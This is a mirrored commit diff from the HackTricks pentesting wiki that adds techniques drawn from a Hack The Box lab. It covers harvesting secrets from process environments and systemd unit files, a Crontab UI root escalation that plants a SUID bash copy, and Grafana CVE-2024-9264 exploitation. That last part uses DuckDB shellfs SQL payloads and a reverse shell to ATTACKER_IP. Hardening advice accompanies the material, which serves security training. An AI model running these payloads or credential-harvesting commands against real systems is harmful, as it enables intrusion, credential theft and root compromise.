mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Merge pull request #1403 from HackTricks-wiki/update_HTB_Planning__Grafana_CVE-2024-9264_to_Container_R_20250913_182406
HTB Planning Grafana CVE-2024-9264 to Container Root, Env-Cr...
This commit is contained in:
		
						commit
						18df7fbb0f
					
				| @ -77,8 +77,54 @@ gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg | ||||
| If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected). | ||||
| 
 | ||||
| 
 | ||||
| ## Harvesting credentials from process environment (containers included) | ||||
| 
 | ||||
| When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement. | ||||
| 
 | ||||
| Quick wins | ||||
| - Dump your current process env: `env` or `printenv` | ||||
| - Dump another process env: `tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'` | ||||
|   - Add `strings -z /proc/<PID>/environ` if `tr`/`sed` aren’t handy | ||||
| - In containers, also check PID 1: `tr '\0' '\n' </proc/1/environ` | ||||
| 
 | ||||
| What to look for | ||||
| - App secrets and admin creds (for example, Grafana sets `GF_SECURITY_ADMIN_USER`, `GF_SECURITY_ADMIN_PASSWORD`) | ||||
| - API keys, DB URIs, SMTP creds, OAuth secrets | ||||
| - Proxy and TLS overrides: `http_proxy`, `https_proxy`, `SSL_CERT_FILE`, `SSL_CERT_DIR` | ||||
| 
 | ||||
| Notes | ||||
| - Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context. | ||||
| - In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot. | ||||
| 
 | ||||
| ## Systemd-stored credentials in unit files (Environment=) | ||||
| 
 | ||||
| Services launched by systemd may bake credentials into unit files as `Environment=` entries. Enumerate and extract them: | ||||
| 
 | ||||
| ```bash | ||||
| # Unit files and drop-ins | ||||
| ls -la /etc/systemd/system /lib/systemd/system | ||||
| # Grep common patterns | ||||
| sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g' | ||||
| # Example of a root-run web panel | ||||
| # [Service] | ||||
| # Environment="BASIC_AUTH_USER=root" | ||||
| # Environment="BASIC_AUTH_PWD=<password>" | ||||
| # ExecStart=/usr/bin/crontab-ui | ||||
| # User=root | ||||
| ``` | ||||
| 
 | ||||
| Operational artifacts often leak passwords (e.g., backup scripts that call `zip -P <pwd>`). Those values are frequently reused in internal web UIs (Basic-Auth) or other services. | ||||
| 
 | ||||
| Hardening | ||||
| - Move secrets to dedicated secret stores (`systemd-ask-password`, `EnvironmentFile` with locked perms, or external secret managers) | ||||
| - Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control | ||||
| - Rotate leaked passwords discovered during tests | ||||
| 
 | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) | ||||
| - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) | ||||
| - [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) | ||||
| - [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) | ||||
| 
 | ||||
|  | ||||
| @ -376,6 +376,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... | ||||
| 
 | ||||
| ## Scheduled/Cron jobs | ||||
| 
 | ||||
| ### Crontab UI (alseambusher) running as root – web-based scheduler privesc | ||||
| 
 | ||||
| If a web “Crontab UI” panel (alseambusher/crontab-ui) runs as root and is only bound to loopback, you can still reach it via SSH local port-forwarding and create a privileged job to escalate. | ||||
| 
 | ||||
| Typical chain | ||||
| - Discover loopback-only port (e.g., 127.0.0.1:8000) and Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000` | ||||
| - Find credentials in operational artifacts: | ||||
|   - Backups/scripts with `zip -P <password>` | ||||
|   - systemd unit exposing `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` | ||||
| - Tunnel and login: | ||||
| ```bash | ||||
| ssh -L 9001:localhost:8000 user@target | ||||
| # browse http://localhost:9001 and authenticate | ||||
| ``` | ||||
| - Create a high-priv job and run immediately (drops SUID shell): | ||||
| ```bash | ||||
| # Name: escalate | ||||
| # Command: | ||||
| cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell | ||||
| ``` | ||||
| - Use it: | ||||
| ```bash | ||||
| /tmp/rootshell -p   # root shell | ||||
| ``` | ||||
| 
 | ||||
| Hardening | ||||
| - Do not run Crontab UI as root; constrain with a dedicated user and minimal permissions | ||||
| - Bind to localhost and additionally restrict access via firewall/VPN; do not reuse passwords | ||||
| - Avoid embedding secrets in unit files; use secret stores or root-only EnvironmentFile | ||||
| - Enable audit/logging for on-demand job executions | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). | ||||
| 
 | ||||
| ```bash | ||||
| @ -1716,6 +1749,10 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) | ||||
| - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) | ||||
| 
 | ||||
| 
 | ||||
| - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) | ||||
| - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) | ||||
| - [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) | ||||
|  | ||||
| @ -10,7 +10,66 @@ | ||||
| - By default it uses **SQLite3** database in **`/var/lib/grafana/grafana.db`** | ||||
|   - `select user,password,database from data_source;` | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI | ||||
| 
 | ||||
| Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files. | ||||
| 
 | ||||
| Impact | ||||
| - Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads. | ||||
| - Preconditions commonly met in real deployments: | ||||
|   - SQL Expressions enabled: `expressions.enabled = true` | ||||
|   - `duckdb` binary present in PATH on the server | ||||
| 
 | ||||
| Quick checks | ||||
| - In the UI/API, browse Admin settings (Swagger: `/swagger-ui`, endpoint `/api/admin/settings`) to confirm: | ||||
|   - `expressions.enabled` is true | ||||
|   - Optional: version (e.g., v11.0.0 vulnerable), datasource types, etc. | ||||
| - Shell on host: `which duckdb` must resolve for the exploit path below. | ||||
| 
 | ||||
| Manual query pattern using DuckDB + shellfs | ||||
| - Abuse flow (2 queries): | ||||
|   1) Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe | ||||
|   2) Read back the temp file using `read_blob` | ||||
| 
 | ||||
| Example SQL Expressions payloads that get passed to DuckDB: | ||||
| ```sql | ||||
| -- 1) Prepare shellfs and run command | ||||
| SELECT 1; INSTALL shellfs FROM community; LOAD shellfs; | ||||
| SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |'); | ||||
| -- 2) Read the output back | ||||
| SELECT content FROM read_blob('/tmp/grafana_cmd_output'); | ||||
| ``` | ||||
| Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files. | ||||
| 
 | ||||
| One-liner reverse shell example | ||||
| ```bash | ||||
| bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1" | ||||
| ``` | ||||
| Embed that as CMD in the first query while you have a listener: `nc -lnvp 443`. | ||||
| 
 | ||||
| Automated PoC | ||||
| - Public PoC (built on cfreal’s ten framework): | ||||
|   - [https://github.com/nollium/CVE-2024-9264](https://github.com/nollium/CVE-2024-9264) | ||||
| 
 | ||||
| Usage example | ||||
| ```bash | ||||
| # Confirm execution context and UID | ||||
| python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target | ||||
| # Launch a reverse shell | ||||
| python3 CVE-2024-9264.py -u <USER> -p <PASS> \ | ||||
|   -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \ | ||||
|   http://grafana.target | ||||
| ``` | ||||
| If output shows `uid=0(root)`, Grafana is running as root (common inside some containers). | ||||
| 
 | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/) | ||||
| - [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html) | ||||
| - [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264) | ||||
| - [cfreal/ten framework](https://github.com/cfreal/ten) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user